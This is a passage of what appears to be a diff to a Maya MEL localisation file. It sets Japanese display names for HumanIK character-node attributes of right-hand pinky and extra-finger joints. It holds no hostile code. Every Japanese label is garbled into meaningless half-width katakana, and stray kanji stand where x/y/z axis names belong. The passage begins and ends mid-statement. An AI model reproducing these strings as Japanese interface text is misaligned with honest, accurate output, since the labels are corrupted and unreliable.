"RightHandPinky2JointOrientx", "モメハヨミ。ヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrienty", "モメハヨミ。ヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrientz", "モメハヨミ。ヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimit", "モメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitx", "モメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimity", "モメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitz", "モメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimit", "モメハヨミ。ヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitx", "モメハヨミ。ヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimity", "モメハヨミ。ヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitz", "モメハヨミ。ヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnablex", "ニモテモメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnabley", "ニモテモメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnablez", "ニモテモメハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnablex", "ニモテモメハヨミ。ヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnabley", "ニモテモメハヨミ。ヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnablez", "ニモテモメハヨミ。ヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3", "モメハヨミ。ヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3T", "モメハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Tx", "モメハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Ty", "モメハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Tz", "モメハヨミ。ヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3R", "モメハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Rx", "モメハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Ry", "モメハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Rz", "モメハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3S", "モメハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sx", "モメハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sy", "モメハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sz", "モメハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", "モメハヨミ。ヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxis", "モメハヨミ。ヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisx", "モメハヨミ。ヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisy", "モメハヨミ。ヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisz", "モメハヨミ。ヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrient", "モメハヨミ。ヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrientx", "モメハヨミ。ヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrienty", "モメハヨミ。ヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrientz", "モメハヨミ。ヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimit", "モメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitx", "モメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimity", "モメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitz", "モメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimit", "モメハヨミ。ヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitx", "モメハヨミ。ヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimity", "モメハヨミ。ヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitz", "モメハヨミ。ヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnablex", "ニモテモメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnabley", "ニモテモメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnablez", "ニモテモメハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnablex", "ニモテモメハヨミ。ヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnabley", "ニモテモメハヨミ。ヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnablez", "ニモテモメハヨミ。ヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4", "モメハヨミ。ヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4T", "モメハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Tx", "モメハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Ty", "モメハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Tz", "モメハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4R", "モメハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Rx", "モメハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Ry", "モメハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Rz", "モメハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4S", "モメハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sx", "モメハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sy", "モメハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sz", "モメハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", "モメハヨミ。ヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxis", "モメハヨミ。ヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisx", "モメハヨミ。ヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisy", "モメハヨミ。ヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisz", "モメハヨミ。ヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrient", "モメハヨミ。ヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrientx", "モメハヨミ。ヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrienty", "モメハヨミ。ヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrientz", "モメハヨミ。ヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimit", "モメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitx", "モメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimity", "モメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitz", "モメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimit", "モメハヨミ。ヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitx", "モメハヨミ。ヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimity", "モメハヨミ。ヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitz", "モメハヨミ。ヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnablex", "ニモテモメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnabley", "ニモテモメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnablez", "ニモテモメハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnablex", "ニモテモメハヨミ。ヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnabley", "ニモテモメハヨミ。ヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnablez", "ニモテモメハヨミ。ヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1", "モメハヨチヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1T", "モメハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Tx", "モメハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Ty", "モメハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Tz", "モメハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1R", "モメハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Rx", "モメハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Ry", "モメハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Rz", "モメハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1S", "モメハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sx", "モメハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sy", "モメハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sz", "モメハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", "モメハヨチヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxis", "モメハヨチヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisx", "モメハヨチヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisy", "モメハヨチヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisz", "モメハヨチヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrient", "モメハヨチヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrientx", "モメハヨチヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrienty", "モメハヨチヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrientz", "モメハヨチヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimit", "モメハヨチヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitx", "モメハヨチヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimity", "モメハヨチヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitz", "モメハヨチヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimit", "モメハヨチヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitx", "モメハヨチヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimity", "モメハヨチヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitz", "モメハヨチヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnablex", "ニモテモメハヨチヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnabley", "ニモテモメハヨチヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnablez", "ニモテモメハヨチヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnablex", "ニモテモメハヨチヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnabley", "ニモテモメハヨチヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnablez", "ニモテモメハヨチヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2", "モメハヨチヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2T", "モメハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Tx", "モメハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Ty", "モメハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Tz", "モメハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2R", "モメハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Rx", "モメハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Ry", "モメハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Rz", "モメハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2S", "モメハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sx", "モメハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sy", "モメハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sz", "モメハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", "モメハヨチヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxis", "モメハヨチヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisx", "モメハヨチヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisy", "モメハヨチヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisz", "モメハヨチヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrient", "モメハヨチヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrientx", "モメハヨチヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrienty", "モメハヨチヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrientz", "モメハヨチヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimit", "モメハヨチヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitx", "モメハヨチヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimity", "モメハヨチヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitz", "モメハヨチヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimit", "モメハヨチヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitx", "モメハヨチヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimity", "モメハヨチヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitz", "モメハヨチヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnablex", "ニモテモメハヨチヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnabley", "ニモテモメハヨチヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnablez", "ニモテモメハヨチヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnablex", "ニモテモメハヨチヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnabley", "ニモテモメハヨチヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnablez", "ニモテモメハヨチヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3", "モメハヨチヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3T", "モメハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Tx", "モメハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Ty", "モメハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Tz", "モメハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3R", "モメハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Rx", "モメハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Ry", "モメハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Rz", "モメハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3S", "モメハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sx", "モメハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sy", "モメハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sz", "モメハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", "モメハヨチヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxis", "モメハヨチヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisx", "モメハヨチヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisy", "モメハヨチヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisz", "モメハヨチヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrient", "モメハヨチヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrientx", "モメハヨチヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrienty", "モメハヨチヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrientz", "モメハヨチヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimit", "モメハヨチヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitx", "モメハヨチヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimity", "モメハヨチヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitz", "モメハヨチヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimit", "モメハヨチヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitx", "モメハヨチヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimity", "モメハヨチヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitz", "モメハヨチヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnablex", "ニモテモメハヨチヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnabley", "ニモテモメハヨチヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnablez", "ニモテモメハヨチヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnablex", "ニモテモメハヨチヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnabley", "ニモテモメハヨチヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnablez", "ニモテモメハヨチヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4", "モメハヨチヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4T", "モメハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Tx", "モメハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Ty", "モメハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Tz", "モメハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4R", "モメハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Rx", "モメハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Ry", "モメハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Rz", "モメハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4S", "モメハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sx", "モメハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sy", "モメハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sz", "モメハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", "モメハヨチヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxis", "モメハヨチヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxisx", "モメハヨチヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxisy", "モメハヨチヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( 